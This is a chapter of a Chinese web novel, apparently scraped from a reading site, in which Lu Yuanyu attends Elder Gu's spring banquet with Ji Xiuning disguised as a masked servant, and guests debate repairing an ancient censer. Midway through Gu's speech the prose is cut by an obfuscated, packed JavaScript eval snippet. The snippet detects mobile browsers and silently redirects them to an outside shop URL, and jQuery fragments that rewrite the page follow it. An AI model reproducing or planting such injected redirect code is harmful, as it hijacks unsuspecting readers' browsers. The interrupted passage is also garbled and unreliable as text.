25. 第二十五章·春宴

作品:《阻止阴湿反派死亡后

    原来是马上要立春,顾老每年都会在这个时候举办一场春宴,邀请一些朋友,在宴会上鉴赏新春雅玩,共议一年文事,今年特意邀请了路元玉。


    路元玉收到请柬后,思考再三还是决定去赴宴。


    原书中说过,这个顾老私下帮助太子宋承安做了很多不利于季修宁的事情,如果以后被他发现季修宁其实并没有死,他可能还会对季修宁赶尽杀绝。


    本来她并不想淌这里的浑水,抱着侥幸的心理走一步看一步,她并不认为顾老能这么快就发现季修宁还活着。


    但如今既然顾老都已经主动送上门来,不去未免太不近人情,以后万一被顾老记恨,她会无端招来很多麻烦。


    下定决心后,她开始张罗那日要穿的衣服,毕竟已经到了春天,她以前的衣服都穿不了了,需要买新的。


    但季修宁得知了她的行程后,不管说什么都要跟着一块去。


    此时他们站在堂屋的书桌前,前面摆着一堆乱糟糟的书信和废纸,路元玉头疼扶额。


    “你去干嘛?”


    季修宁靠在屏风上,面色淡淡:“不干嘛,去见见世面而已。”


    路元玉觉得他在拿话敷衍她,更加头疼,“为什么非要去顾老那里见世面?我们以后也可以去别的地方。”


    季修宁闻言转过头看向她:“那你告诉我你为什么非要去?我们已经说好了两天之后出发。”


    路元玉了然,想必是季修宁觉得自己耽误他找潜鳞的进度了,于是耐下性子解释道:“这个顾老大有来头,我们不能得罪他,否则以后会很麻烦。”


    季修宁不以为然:“不过是一个无官无职的文人而已,你为什么如此害怕?”


    路元玉无语,心中暗暗道还不是为了你。


    但见他一脸坚决,便也不想再劝,反正是他自己的事,如果真的被顾老认出来追杀……那只能走一步看一步了。


    她现在终于明白那句“队友带不动”是什么感觉了。


    路元玉没有办法,终于同意了季修宁的要求,但她也提了个要求:“你跟我去的话,必须打扮成小厮,还要戴上面具。”


    季修宁眉心微蹙:“为何?”他有那么见不得人吗?


    之前他虽然也不常露脸,但他自知自己长相还算可以,现在主动要露脸,她竟然还嫌弃自己了。


    路元玉已经失去耐心:“照我说的做就行了,要不然你会后悔的。”


    她自以为已经说得很清楚了,然而听在季修宁耳中,就是路元玉已经和别人有了什么他不知道的秘密。


    路元玉还在那个小破驿站的时候,自己是她首要关注的目标,但是来到湖州府以后,她的目光不知不觉从他身上移开了,变成了侯四同、赵掌柜、甘凌、顾老,这些人都是她后认识的,但她却把他们排在他前面。


    季修宁感到心里很不舒服,像是生气、愤怒的感觉。


    他从来都只有路元玉一个人,所以他把路元玉看作是自己的队友,是和别人不一样的。


    但路元玉在他的保护下,竟然生出了别的心思,要和其他人去发展他们两个之间才存在的友谊。


    不能允许这样的事情发生。


    他呼吸急促起来,面色通红,如果此时路元玉在,一定会以为他发烧了,但她早在说完那句话之后就离开了。


    冷静、冷静。


    季修宁强迫自己冷静下来,现在事情还没有定论,到底她要做什么,得去了才知道。


    -


    两天后,路元玉和季修宁再一次出现在顾老的别院门前。


    季修宁很听话,穿了一身低调的小厮装扮,还带了一个面具,轻易不会被人认出来。


    这次的门童还是上次将路元玉拦在外面的那个,见路元玉再次过来,犹疑的目光中不知为什么带着一丝畏惧。


    路元玉和善的笑着将请柬递给了他。


    这次他倒是什么都没说就放她进去了。


    刚走没两步,就听见有人叫她。


    “李姑娘。”


    路元玉回头看,发现原来是甘凌,他正笑着向她走来。


    然而刚走近,季修宁就挡在了路元玉身前。


    甘凌有些懵,被迫往后退了好几步。


    路元玉想起来之前季修宁告诉过自己的,甘凌不是什么好人,让她离远一点,当下也明白了他这个举动的含义,便不由笑着解释道:“不好意思甘公子,这是我新买的小厮,专门保护我的。”


    闻言,甘凌脸上的疑惑才退下去,特意打量了季修宁两眼,笑了笑,“既是护卫,怎么不挑一个壮一点的?我那里有很多,如果李姑娘需要的话,一会宴会结束之后,我给你送几个。”


    季修宁听到这话,脸顿时黑下来。


    路元玉连忙把他拉到身后,笑道:“不用了,我买他花了很多银子呢,而且别看他瘦,其实身手挺厉害的。”


    甘凌笑着,遗憾地摇了摇头,“既然如此,那甘某不再强买强卖了。我们先进去吧。”


    路元玉点点头,转身和甘凌一同走了进去,徒留季修宁跟在身后一脸阴沉。


    此次春宴安排在别院向阳的聆春轩,轩外红梅未谢,新柳初芽,一派欣欣向荣的景象。


    路元玉看了一圈,发现顾老还没来,挨个问过好之后,就挑了个最末的位置坐下了。


    众人又闲坐了一会儿,顾老就来了。


    顾老落座后,目光在下面的人身上扫了一圈,看到路元玉后,面上露出一丝满意。


    他并没有看到她身后的季修宁,路元玉微不可察地松了口气,回以微笑。


    此次春宴的流程是先赏玩古物,再试春笔。


    试春笔就是来客们用已经准备好的笔墨写一些新春吉语或诗词,表达对新一年的祝福之意。


    几句开场白后,顾老命人端出来一个被红布盖起来的器物,放到了中间的桌子上。


    顾老坐在首位,坐得端正看着众人,露出几分笑意,“今日立春,恰逢前不久我偶得此汉炉。其形应苍龙春象,只是有些残损,徒有其形,难复其神。诸位看这春神之器,当如何迎春?”


    盖在炉上的红布被下人揭开,露出真容。


    看上去像是博山炉变体炉。


    炉盖镂雕成苍龙昂首盘绕之形,龙口微张,栩栩如生。


    顾老见众人目不转睛地盯着看,解释道:“这苍龙口中原应衔有一枚可活动的铜制稻穗,只可惜现如今已


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17095922|193966||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    经丢失了。”


    炉表面有均匀的朱砂锈与绿锈,古朴可爱,但部分有些脏污。炉身与底座连接处也有一道裂隙,看上去损坏已久。


    众人看着这它啧啧称奇,眼中赞叹连连,说什么恰逢立春,今日能有幸得以见到如此符合寓意的西汉博山炉,真是今生有幸。


    顾老的目光从面前众人的身上一一扫过,观察他们的反应。


    这样的反应他看多了,他们这群人年年都能找出各种不同的词句来夸,他们不累,他听着都累。


    然而,今年他发现了不同。


    那位李姑娘眼中虽然也流露出一些赞美和惊叹之意,但并不多,更多的是审视,她好像在将此炉在心中与其他物什做对比,判断它的价值。


    这次邀请她来这次春宴,为的也是再进一步试探她的价值,果然让他意外。


    不过她看这熏炉明显是以商人视角来看得,和他理念诸多不同。


    他刚想收回目光,然而却被路元玉身后的小厮吸引力。


    这个小厮体型修长,气质不凡,脸上尽管带了一个面具,但仍感觉他与旁人格格不入。


    面具只露出两个洞,可以看到他冷静甚至带着点倨傲的目光。


    似乎摆在他眼前的不是什么罕见地古物,而只是一个平平无奇的用具罢了。


    什么样的小厮能有这样的气度?顾老瞬时在心中敲响了警钟。


    他见过那么多人,这个男人一定不同寻常,他一定有些的身份,因为……这样的气质他只在皇室身上见过。


    顾老眼神一凛,下意识怀疑是不是前朝那个已经被他弄死的废物皇子,但转念又一想,那个季修宁软弱无能,只会阴损招式,自己虽从未见过他,但听手下人描述,他是一个气质温润的人,眼前这个人浑身布满杀气,一看就不容易接近。


    那会是谁?


    顾老招了招手,叫上来一个暗卫,在他耳边低声交代了几句,那人便悄无声息地退下了。


    在场所有人都没有注意到,但在顾老收回视线的一瞬间,季修宁冰冷警惕的目光就看了过去。


    顾老咳嗽了一声,将众人的注意力都拉了回来。


    “今日我们就依这苍龙口中之稻穗该如何修补之题,来听一下诸位的意见,如何?”


    众人纷纷应和。


    有一人率先开口:“《考工记》有云:‘材美工巧,然而不良,则不时。’我认为应该重新做一个稻穗放进去,这样才能完善它‘春神赐福’之礼器全意。”


    “不然,我等认为此炉历经近千年,龙口空悬,正是残缺之美。若是强行补穗,美则美矣,魂已不在。”


    “但只要补件工艺、材质可辨,且低于原物,就是为古器接续了一段生命。让它以更完整的姿态讲述历史,有何不可呢?李姑娘,你怎么看?”


    说这句话的是甘凌,他笑得闲适,看向路元玉的目光很温柔。


    路元玉眉心微蹙,她很不喜欢被人这样当众点名,而且听他的意思,他似乎已经私下调查过他了,要不然他怎么会意有所指呢?


    众人听到甘凌的话,沉浸在讨论中的意识回神,纷纷停下来看着她。


    顾老也饶有兴致地等她开口。